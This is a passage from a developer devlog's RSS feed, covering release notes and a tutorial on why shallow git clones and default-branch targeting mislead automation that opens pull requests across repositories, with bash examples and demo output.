&lt;p&gt;The version-only pull request is the cheapest possible form of that dashboard. It is a one-line diff, it is titled as routine, and it exists so the absence of one means something.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Suppressing no-op updates is how the numbers diverge in the first place.&lt;/strong&gt; “A pin bump alone changes no shipped artifact, so it is not worth a pull request” is a reasonable-sounding rule and it is what produced 0.2.0, 0.1.0 and 0.5.1 in one repository. Symptom: someone asks why a repo is on an old version and the honest answer takes three paragraphs. Escape: keep pin, receipt and release equal, and let the diff size, not the pull request count, reflect how much changed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Re-deriving state from a display string will bite you.&lt;/strong&gt; Carrying &lt;code&gt;changed&lt;/code&gt; as a boolean and deriving the status from it is safe; parsing the status back out to decide what to do is not, because the status strings grow dry-run variants. Symptom: a dry run that prints a changed region and then reports nothing to do. Escape: booleans decide, strings display.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Watch the open pull request limit if your consumers also run a dependency bot.&lt;/strong&gt; Dependabot’s &lt;a href=&quot;https://docs.github.com/en/code-security/reference/supply-chain-security/dependabot-options-reference&quot;&gt;options reference&lt;/a&gt; documents that with the default limit, “If five pull requests with version updates are open, no further pull requests are raised until some of those open requests are merged or closed”. Your no-op pull requests occupy real slots in a repository’s attention budget, and possibly in another bot’s. Escape: make version-only updates trivially mergeable, and close your own superseded ones.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;missing&lt;/code&gt; is not &lt;code&gt;changed&lt;/code&gt;.&lt;/strong&gt; A consumer whose region has been deleted needs a human decision, not a silent re-creation, so it is reported separately and does not count as an update. Symptom: a bot that helpfully restores a block someone deliberately removed. Escape: keep &lt;code&gt;missing&lt;/code&gt; its own status and surface it in the run summary.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Trailing whitespace will make every repo look changed.&lt;/strong&gt; Comparing generated bodies without normalizing the trailing newline produces a permanent, universal false positive, and it is invisible in a diff view. Escape: trim on both sides of the comparison, as &lt;code&gt;trim()&lt;/code&gt; does above, and add a test that runs the classifier twice.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://sre.google/sre-book/monitoring-distributed-systems/&quot;&gt;Google SRE Book: Monitoring Distributed Systems&lt;/a&gt; — why an always-loud signal stops being read.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.renovatebot.com/key-concepts/dashboard/&quot;&gt;Renovate: Dependency Dashboard&lt;/a&gt; — visibility of pending updates as an explicit product goal.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/code-security/reference/supply-chain-security/dependabot-options-reference&quot;&gt;Dependabot options reference&lt;/a&gt; — the default open pull request limit and what happens when it is reached.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Changelog&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;feat(press): one version per consumer, not three (0.6.0) (#129) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/c1543cd216e02842118c9f684fd5c2727f8887ae&quot;&gt;c1543cd&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/press/v0.6.0.png" length="31545" type="image/png"/></item><item><title>Two repos looked stale because the clone only had one branch</title><link>https://natejswenson.com/devlog/press/v0.5.1/</link><guid isPermaLink="true">https://natejswenson.com/devlog/press/v0.5.1/</guid><description>Automation that clones other people&apos;s repositories has to pick a branch, and both obvious choices are wrong. A shallow clone cannot see the branch the work is on, and the default branch is not the branch teams integrate into.</description><pubDate>Fri, 31 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
&lt;p&gt;0.5.1 fixed how a fan-out job reads other repositories. It cloned each consumer with &lt;code&gt;--depth=1&lt;/code&gt; and inspected whatever the default branch had, then reported two of them as missing a generated block they demonstrably contained. Nothing was wrong with those repos. The block had been merged to their integration branch, and the clone could not see that branch existed.&lt;/p&gt;
&lt;p&gt;Any job that reaches into repositories it does not own runs into the same two decisions: how much history to fetch, and which branch to read and target. This guide builds the fan-out loop, reproduces the wrong answer in a scratch directory with real output, and fixes both decisions.&lt;/p&gt;
&lt;h2&gt;Setup: what a fan-out needs from a clone&lt;/h2&gt;
&lt;p&gt;The pattern is a job that, for each downstream repository, clones it, regenerates something inside it, and opens a pull request if the result differs. You need three things from the clone: the current content of the file you own, the branch a pull request should target, and enough history to push a branch.&lt;/p&gt;
&lt;p&gt;The naive version gets all three wrong in one line.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;#!/usr/bin/env bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -euo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; pipefail&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# The version that looks efficient and reads the wrong thing.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; repo &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$@&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  work&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;mktemp&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -d&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  gh&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; repo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; clone&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$repo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$work&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --depth=1&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --quiet&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [ &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$work&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;/brand.txt&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ]; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$repo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;: $(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$work&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;/brand.txt&quot;)&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  else&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$repo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;: missing&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  fi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;done&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Everything after the &lt;code&gt;--&lt;/code&gt; is handed straight to &lt;code&gt;git clone&lt;/code&gt; by &lt;a href=&quot;https://cli.github.com/manual/gh_repo_clone&quot;&gt;&lt;code&gt;gh repo clone&lt;/code&gt;&lt;/a&gt;, so &lt;code&gt;--depth=1&lt;/code&gt; here is git’s flag, with git’s semantics. It is there because history is not needed and shallow is faster. That reasoning is fine. The side effect is not.&lt;/p&gt;
&lt;h2&gt;The clone that hides half the repository&lt;/h2&gt;
&lt;p&gt;Git’s &lt;a href=&quot;https://git-scm.com/docs/git-clone&quot;&gt;clone documentation&lt;/a&gt; spells it out under &lt;code&gt;--depth&lt;/code&gt;: “Create a shallow clone with a history truncated to the specified number of commits. Implies &lt;code&gt;--single-branch&lt;/code&gt; unless &lt;code&gt;--no-single-branch&lt;/code&gt; is given”. And &lt;code&gt;--single-branch&lt;/code&gt; means “Clone only the history leading to the tip of a single branch, either specified by the &lt;code&gt;--branch&lt;/code&gt; option or the primary branch remote’s &lt;code&gt;HEAD&lt;/code&gt; points at.”&lt;/p&gt;
&lt;p&gt;So a shallow clone gives you exactly one branch, and it is the default branch. Build the situation in a scratch directory and look at it directly. This runs offline in about a second:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;mkdir&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; demo&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; demo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; init&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -q&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --bare&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -b&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; main&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; origin.git&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; clone&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -q&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; origin.git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; seed&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; seed&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; config&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; user.email&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; d@e.f&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; config&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; user.name&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; demo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;orange&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; brand.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; add&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; brand.txt&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; commit&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -qm&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;brand on main&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; push&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -q&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; origin&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; main&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; checkout&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -qb&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; dev&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;orange-refreshed&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; brand.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; commit&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -qam&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;brand migration lands on dev&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; push&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -q&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; origin&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; dev&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; ..&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;=== shallow clone ===&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; clone&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -q&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --depth=1&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;file://&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$PWD&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;/origin.git&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; shallow&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -C&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; shallow&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; branch&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -r&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;origin/dev present? $(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -C shallow rev-parse --verify --quiet origin/dev &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;/dev/null &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; yes &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; no)&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;=== full clone ===&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; clone&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -q&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;file://&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$PWD&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;/origin.git&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; full&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -C&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; full&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; branch&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -r&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;origin/dev present? $(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -C full rev-parse --verify --quiet origin/dev &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;/dev/null &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; yes &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; no)&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;=== what each clone reads ===&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;shallow: $(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; shallow/brand.txt)&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;full(dev): $(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -C full show origin/dev:brand.txt)&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Running that prints:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;=== shallow clone ===&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  origin/HEAD -&gt; origin/main&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  origin/main&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;origin/dev present? no&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;=== full clone ===&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  origin/HEAD -&gt; origin/main&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  origin/dev&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  origin/main&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;origin/dev present? yes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;=== what each clone reads ===&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;shallow: orange&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;full(dev): orange-refreshed&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The shallow clone is not broken and did not warn. It answered a narrower question than the one being asked, and the migration sitting on &lt;code&gt;dev&lt;/code&gt; was invisible to it. That is what produced a report of “missing” for repositories where the work was merged and waiting to promote.&lt;/p&gt;
&lt;h2&gt;Choose the base branch on purpose&lt;/h2&gt;
&lt;p&gt;The second decision is which branch the pull request targets. GitHub’s own definition is that “The default branch is the base branch for pull requests and code commits” (&lt;a href=&quot;https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch&quot;&gt;changing the default branch&lt;/a&gt;), and that default is what &lt;code&gt;gh&lt;/code&gt; and the web UI will pick for you. If the repositories you are automating run &lt;code&gt;feature → dev → main&lt;/code&gt;, a bot opening a pull request straight into &lt;code&gt;main&lt;/code&gt; is asking them to violate their own flow, and it will sit there.&lt;/p&gt;
&lt;p&gt;Resolve the base explicitly instead. Ask the checkout whether the integration branch exists, and fall back to whatever the repository says its default is:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# resolve_base &amp;#x3C;checkout&gt; &amp;#x3C;owner/repo&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# The branch a fan-out PR should target: the integration branch when the remote&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# has one, the repository&apos;s own default branch otherwise.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;resolve_base&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  local&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; work&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$1&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; repo&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$2&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -C&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$work&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; rev-parse&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --verify&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --quiet&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; origin/dev&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;/dev/null&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; dev&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  else&lt;/span&gt;&lt;/span&gt;
